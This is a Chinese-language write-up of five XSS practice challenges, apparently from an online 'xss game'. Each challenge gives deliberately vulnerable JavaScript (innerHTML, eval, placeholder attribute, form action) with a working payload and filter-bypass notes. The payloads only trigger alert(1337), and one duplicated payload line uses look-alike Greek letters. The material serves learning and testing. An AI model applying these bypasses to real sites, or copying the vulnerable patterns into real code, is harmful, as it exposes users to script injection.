xss 漏洞复现

一，xss game

1，源码

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<!-- Challenge -->
<h2 id="spaghet"></h2>
<script>
    spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>

题目分析：接收somebody参数放入innerHTML，然后放在

标签展示。innerHTML标签中警用了script标签，所以使用标签。

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?somebody=<img src=1 onerror="alert(1337)">

2，源码

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<!-- Challenge -->
<h2 id="maname"></h2>
<script>
    let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
    let ma = ""
    eval(`ma = "Ma name ${jeff}"`)
    setTimeout(_ => {
        maname.innerText = ma
    }, 1000)
</script>

//eval(`ma = "Ma name a";alert(1337);""`)

题目分析：innertext会把<>当成字符串解析，安全系数很高，此题危险方法是eval，进行闭合操作。

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思路一  ?jeff=a";alert(1337);"
思路二  ?jeff=a"-alert(1337);-"  连接符
       ?jeff=a"-alert(1337);"

3，源码

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<!-- Challenge -->
<div id="uganda"></div>
<script>
    let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
    wey = wey.replace(/[<>]/g, '')  //过滤了<>
    uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>

题目分析：闭合"${wey}"处的双引号，加入我们的方法。

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?wey=aaa"%20onfocus=alert(1337)%20autofocus="    
autofocus自动对焦
onfocus=alert(1337) 焦点存在时触发函数

4，源码

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<!-- Challenge -->
<form id="ricardo" method="GET">
    <input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>
    ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
    setTimeout(_ => {
        ricardo.submit()
    }, 2000)  //两秒后自动提交
</script>

题目分析：表单的action处也会出现相应的伪协议事件，需要提交触发。

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?ricardo=javascript:alert(1337)

5，源码

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<!-- Challenge -->
<h2 id="will"></h2>
<script>
    smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
    smith = smith.replace(/[\(\`\)\\]/g, '') 
    will.innerHTML = smith
</script>

题目分析：过滤了()`\ 双层编码() %2528 %2529 浏览器会转一次。加location识别编码

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?markassbrownlee=<img%20src=1%20onerror=location="javascript:alert%25281337%2529">

img%20src=1%20οnerrοr=location="javascript:alert%25281337%2529">

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